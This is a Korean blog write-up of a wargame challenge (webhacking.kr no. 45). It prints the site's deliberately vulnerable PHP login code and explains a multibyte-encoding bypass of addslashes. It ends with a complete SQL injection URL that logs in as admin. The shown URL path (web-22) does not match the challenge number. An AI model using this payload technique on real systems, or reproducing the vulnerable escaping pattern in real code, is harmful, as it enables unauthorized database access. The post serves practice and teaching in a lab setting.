문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>


여기서 19 ~ 20 소스를 보면 id와 pw 변수로 받은 값에 addslashes를 한 게 보입니다.

그리고 21번째 라인에는 mb_convert_encoding을 해주는 것을 볼 수 있습니다.


UTF-8로 인코딩해주는 것과 addslashes가 한 쌍을 이루는 것으로 보아 멀티바이트로 역슬레쉬를 우회할 수 있을 것으로 보입니다.


따라서 id 값에는 %af%5c 와 같은 값을 넣어주고 pw에는 원하는 조건문을 입력해주고 주석처리로 마무리해줍니다.


https://webhacking.kr/challenge/web-22/?id=%af%5c&pw=%20or%20id%20like%200x61646d696e%23




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08

+ Recent posts